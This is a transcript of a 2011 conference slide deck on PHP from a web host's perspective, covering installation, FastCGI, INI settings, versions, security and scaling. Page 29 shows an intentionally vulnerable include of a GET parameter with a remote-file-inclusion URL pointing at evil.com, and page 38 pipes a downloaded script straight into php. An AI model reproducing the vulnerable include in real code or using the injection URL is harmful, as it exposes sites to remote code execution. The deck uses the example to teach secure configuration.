Php through the eyes of a hoster phpbnl11

76
PHP through the eyes of a hoster Thijs Feryn Evangelist +32 (0)9 218 79 06 [email protected] PHPBenelux Conference Saturday January 29th 2011 Antwerpen, Belgium

description

 

Transcript of Php through the eyes of a hoster phpbnl11

Page 1: Php through the eyes of a hoster phpbnl11

PHP  through  the  eyes  of  a  hoster

Thijs  FerynEvangelist+32  (0)9  218  79  [email protected]

PHPBenelux  ConferenceSaturday  January  29th  2011Antwerpen,  Belgium

Page 2: Php through the eyes of a hoster phpbnl11

Welcome  to  PHPBNL11

Page 3: Php through the eyes of a hoster phpbnl11

About  me

I’m  the  support  manager  at  Combell

Page 4: Php through the eyes of a hoster phpbnl11

About  me

I’m  the  support  manager  at  Combell

I  used  to  be

Page 5: Php through the eyes of a hoster phpbnl11

About  me

I’m  an  Evangelist  at  Combell

Page 6: Php through the eyes of a hoster phpbnl11

About  me

I’m  a  board  member  at  PHPBenelux

Page 7: Php through the eyes of a hoster phpbnl11

I  live  in  the  wonderful  city  of  Bruges

MPBecker  -­‐  Bruges  by  Night  hYp://www.flickr.com/photos/galverson2/3715965933

Page 8: Php through the eyes of a hoster phpbnl11

Follow  me  on  TwiYer:  @ThijsFeryn

Read  my  blog:  hYp://blog.feryn.eu

Give  me  feedback:  hYp://joind.in/2490

Page 9: Php through the eyes of a hoster phpbnl11
Page 10: Php through the eyes of a hoster phpbnl11
Page 11: Php through the eyes of a hoster phpbnl11

Chapter  I  :  The  hoster,  a  genuine  stakeholder  in  the  PHP  universe

Page 12: Php through the eyes of a hoster phpbnl11

Stakeholders

Customer Development  company

Endusers MGMT

InternalIT

InternalPM

Devs

Sales

MGMT

QA

Design

Systeam

PM

Consultant

Hoster PHP  community

Page 13: Php through the eyes of a hoster phpbnl11

Stakeholders

Your  app  needs  to  be  hosted

Somewhere  along  the  road  ...

Page 14: Php through the eyes of a hoster phpbnl11

Goals  &  mocves

Our  goals  &  moEves  are  the  same  as  yours:• It  has  to  work• It  has  to  perform• It  has  to  scale• It  has  to  be  secure• It  has  to  be  available

Page 15: Php through the eyes of a hoster phpbnl11
Page 16: Php through the eyes of a hoster phpbnl11
Page 17: Php through the eyes of a hoster phpbnl11
Page 18: Php through the eyes of a hoster phpbnl11

Chapter  II:  Installacon  &  configuracon

Page 19: Php through the eyes of a hoster phpbnl11

Installing  from  source

server$  ./configure  -­‐-­‐prefix=/usr/local/php-­‐5.2.10  -­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs  -­‐-­‐with-­‐zlib  -­‐-­‐with-­‐curl  -­‐-­‐with-­‐gd  -­‐-­‐enable-­‐mbstring  -­‐-­‐with-­‐mysql  -­‐-­‐with-­‐mysqli  -­‐-­‐enable-­‐pcntl  -­‐-­‐with-­‐pdo-­‐mysql  -­‐-­‐with-­‐readline  -­‐-­‐enable-­‐soap  -­‐-­‐with-­‐xsl  -­‐-­‐with-­‐mcrypt  -­‐-­‐with-­‐mssql  -­‐-­‐with-­‐snmp  -­‐-­‐with-­‐imap  -­‐-­‐with-­‐kerberos  -­‐-­‐with-­‐imap-­‐ssl  -­‐-­‐with-­‐config-­‐file-­‐path=/etc/php5/  -­‐-­‐enable-­‐sockets  -­‐-­‐with-­‐freetype-­‐dir  -­‐-­‐with-­‐openssl  

server$  make

server$  make  install

Page 20: Php through the eyes of a hoster phpbnl11

Installing  using  a  package  manager  (APT/Apctude)

Install  PHP:

Install  MySQL  library  for  PHP:

server$  apt-­‐get  install  php5

server$  apt-­‐get  install  php5-­‐mysql

Page 21: Php through the eyes of a hoster phpbnl11

SAPI  ...  schmapi

Mod_php FastCGI CLI

Web Apache  module gateway -­‐

Process Apache  process php-­‐cgi php

ConfiguraEon Apache  conf  files wrapper on  the  fly

User Apache  user shell  user  or  suexec  user shell  user

Page 22: Php through the eyes of a hoster phpbnl11

FastCGI

Example  config:• Apache  handler

   <IfModule  mod_fcgid.c>        SuexecUserGroup  dev  dev        PHP_Fix_Pathinfo_Enable  1        <Directory  /var/www/dev/www/>            Options  +ExecCGI            AllowOverride  All            AddHandler  fcgid-­‐script  .php            FCGIWrapper  /var/www/dev/etc/fcgi.wrapper  .php            Order  allow,deny            Allow  from  all        </Directory>    </IfModule>

Page 23: Php through the eyes of a hoster phpbnl11

FastCGI

Example  config:• Wrapper  script

#!/bin/shPHPRC=/usr/local/php-­‐5.3.1/etcexport  PHPRCexport  PHP_FCGI_MAX_REQUESTS=5000export  PHP_FCGI_CHILDREN=8exec  /usr/local/php-­‐5.3.1/bin/php-­‐cgi

Page 24: Php through the eyes of a hoster phpbnl11

INI  seengs:  tales  of  good  &  evil

Page 25: Php through the eyes of a hoster phpbnl11

INI  seengs:  tales  of  good  &  evil

Defining  INI  seengs:• Php.ini• Ini_set()• “-­‐d”  • php_value• php_flag• php_admin_value• php_admin_flag

Page 26: Php through the eyes of a hoster phpbnl11

INI  seengs:  tales  of  good  &  evil

Memory_limit:

Fatal  error:  Allowed  memory  size  of  16777216  bytes  exhausted  (tried  to  allocate  35  bytes)

Page 27: Php through the eyes of a hoster phpbnl11
Page 28: Php through the eyes of a hoster phpbnl11

INI  seengs:  tales  of  good  &  evil

Safe_mode  &  Open_basedir:

<IfModule  mod_php5.c>        php_admin_flag  engine  on        php_admin_flag  safe_mode  off        php_admin_value  open_basedir  "/var/www/vhosts/website.com/httpdocs:/tmp"</IfModule>

Page 29: Php through the eyes of a hoster phpbnl11

INI  seengs:  tales  of  good  &  evil

Allow_url_fopen:

<?php$lang= $_GET['lang'];require("$lang.php");

http://domain.ext/index.php?lang=http://evil.com/hack.txt?

Page 30: Php through the eyes of a hoster phpbnl11

Chapter  III:  Versions  &  features

Page 31: Php through the eyes of a hoster phpbnl11

PHP  4:  End  of  life,  but  far  from  dead

Page 32: Php through the eyes of a hoster phpbnl11

PHP  4:  End  of  life,  but  far  from  dead

Parse  error:  syntax  error,  unexpected  T_STRING,  expecting  T_OLD_FUNCTION  or  T_FUNCTION  or  T_VAR  or  '}'  in  test.php  on  line  4

Page 33: Php through the eyes of a hoster phpbnl11

Developers  love  bling  bling

Page 34: Php through the eyes of a hoster phpbnl11

It  HAS  to  be  PHP  5.3.5  !!!

Page 35: Php through the eyes of a hoster phpbnl11

I  need  ALL  PHP  extension  !!!

Page 36: Php through the eyes of a hoster phpbnl11

I  use  ALL  PHP  features  !!!

Page 37: Php through the eyes of a hoster phpbnl11

Fruit  &  vegetables:  PEAR  &  PECL

Page 38: Php through the eyes of a hoster phpbnl11

Fruit  &  vegetables:  PEAR  &  PECL

PEARPHP  Extension  and  ApplicaEon  Repository  (h#p//pear.php.net)

server$  pear  install  date

server$  lynx  -­‐source  http://pear.php.net/go-­‐pear  |  php

Page 39: Php through the eyes of a hoster phpbnl11

Fruit  &  vegetables:  PEAR  &  PECL

PECL  (pickle)PHP  Extension  Community  Library  (h#p//pecl.php.net)

server$  pecl  install  pecl_http

Page 40: Php through the eyes of a hoster phpbnl11

Popular  frameworks  outside  the  PHP  project

External  frameworks

Page 41: Php through the eyes of a hoster phpbnl11

Chapter  IV:  PHP  aYracts  a  crowd

Page 42: Php through the eyes of a hoster phpbnl11

It’s  easy  !

Page 43: Php through the eyes of a hoster phpbnl11

That  easy  !

<?phpecho "Hello world!";

Page 44: Php through the eyes of a hoster phpbnl11

It’s  cheap  !

Page 45: Php through the eyes of a hoster phpbnl11

It’s  stable  !

Page 46: Php through the eyes of a hoster phpbnl11

Everyone  can  be  a  PHP  developer

Page 47: Php through the eyes of a hoster phpbnl11

But  not  everyone  has  what  it  takes

Page 48: Php through the eyes of a hoster phpbnl11

Luckily  there’s  a  lot  ready-­‐to-­‐use  PHP  so\ware  out  there

Page 49: Php through the eyes of a hoster phpbnl11

Who  you  gonna  call  ?

Page 50: Php through the eyes of a hoster phpbnl11

But  when  helpers  need  help  ...

Page 51: Php through the eyes of a hoster phpbnl11

They  reach  out  to  the  PHP  community

BlogsForums

User  Group  meeEngs

Conferences

PHP.netTwi^er

IRC

Page 52: Php through the eyes of a hoster phpbnl11

Chapter  V:  Here  be  phpirates

Page 53: Php through the eyes of a hoster phpbnl11

Here  be  phpirates

Page 54: Php through the eyes of a hoster phpbnl11

Fact

“The  majority  of  hacking/absue  cases  are  PHP  related”

Page 55: Php through the eyes of a hoster phpbnl11

False  assumpcons

“Open  source  is  evil”

“PHP  has  lots  of  security  vulnerabiliEes  and  is  not  mature”

Page 56: Php through the eyes of a hoster phpbnl11

Here  be  phpirates

The  real  issues• Quality  of  the  code• Network  &  server  security• PHP  version  &  configuraEon

Page 57: Php through the eyes of a hoster phpbnl11

Responsibilices

Page 58: Php through the eyes of a hoster phpbnl11

Chapter  VI:  Scalability

Page 59: Php through the eyes of a hoster phpbnl11

Performance  ==  speed

Page 60: Php through the eyes of a hoster phpbnl11

Scalability  ==  constant  speed  under  increasing  load

Page 61: Php through the eyes of a hoster phpbnl11

Scaling  up

Page 62: Php through the eyes of a hoster phpbnl11

Scaling  out

Page 63: Php through the eyes of a hoster phpbnl11

Developers  (some2mes)  forget  ...

Page 64: Php through the eyes of a hoster phpbnl11

Scaling  MySQL

Page 65: Php through the eyes of a hoster phpbnl11

mysql>  explain  SELECT  field1,  (SELECT  COUNT(*)  FROM  table2  WHERE  field3  =  table1.id)  FROM  table1  WHERE  field2  =  1    ORDER  BY  field4  DESC  limit  12,12;

***************************  1.  row  ***************************                      id:  1    select_type:  PRIMARY                table:  table1                  type:  ALLpossible_keys:  approved                    key:  approved            key_len:  NULL                    ref:  NULL                  rows:  3143                Extra:  Using  where;  Using  filesort***************************  2.  row  ***************************                      id:  2    select_type:  DEPENDENT  SUBQUERY                table:  table2                  type:  ALLpossible_keys:  NULL                    key:  NULL            key_len:  NULL                    ref:  NULL                  rows:  1005                Extra:  Using  where

Page 66: Php through the eyes of a hoster phpbnl11

mysql>  show  processlist;+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+|  Id        |  User  |  Host            |  db  |  Command  |  Time  |  State                                |  Info                                                                                        |+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+|  63515  |  root  |  localhost  |  db  |  Query      |        0  |  NULL                                  |  show  processlist                                                                ||  81763  |  root  |  localhost  |  db  |  Sleep      |    105  |                                            |  NULL                                                                                        ||  85187  |  root  |  localhost  |  db  |  Query      |        0  |  Sending  data                  |  SELECT  data  from  someTable  where  field  =  'val'    ||  82701  |  root  |  localhost  |  db  |  Query      |        0  |  Copying  to  tmp  table  |  SELECT  data  from  someTable  where  field='val2'      ||  82709  |  root  |  localhost  |  db  |  Query      |        0  |  Sorting  result              |  SELECT  data  from  someTable  where  order  by  field  ||  82716  |  root  |  localhost  |  db  |  Query      |        0  |  Opening  tables              |  SELECT  data  from  someOtherTable                                  |+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+

Page 67: Php through the eyes of a hoster phpbnl11

Scaling  MySQL  with  replicacon

Page 68: Php through the eyes of a hoster phpbnl11

PHP  scalability  toolbox

Page 69: Php through the eyes of a hoster phpbnl11
Page 70: Php through the eyes of a hoster phpbnl11

Memcached

Page 71: Php through the eyes of a hoster phpbnl11

Gearman

Page 72: Php through the eyes of a hoster phpbnl11

Varnish

Page 73: Php through the eyes of a hoster phpbnl11

Summary

Page 74: Php through the eyes of a hoster phpbnl11

Summary

1.Hosters  are  a  genuine  stakeholder  in  the  PHP  universe2.PHP  is  highly  flexible  &  configurable.  Hosters  have  to  ensure  a  decent  setup

3.PHP  has  a  lot  to  offer  feature-­‐wise4.PHP  aDracts  a  crowd  and  brings  a  lot  of  people  together  from  different  industries  (e.g.  hosters)

5.Lots  of  abuse  cases  are  PHP  related,  but  that’s  not  the  fault  of  PHP  itself

6.PHP  itself  doesn’t  scale  *that*  well,  but  is  flexible  enough  to  ensure  scalability  via  extra  tools

Page 75: Php through the eyes of a hoster phpbnl11
Page 76: Php through the eyes of a hoster phpbnl11

Q&A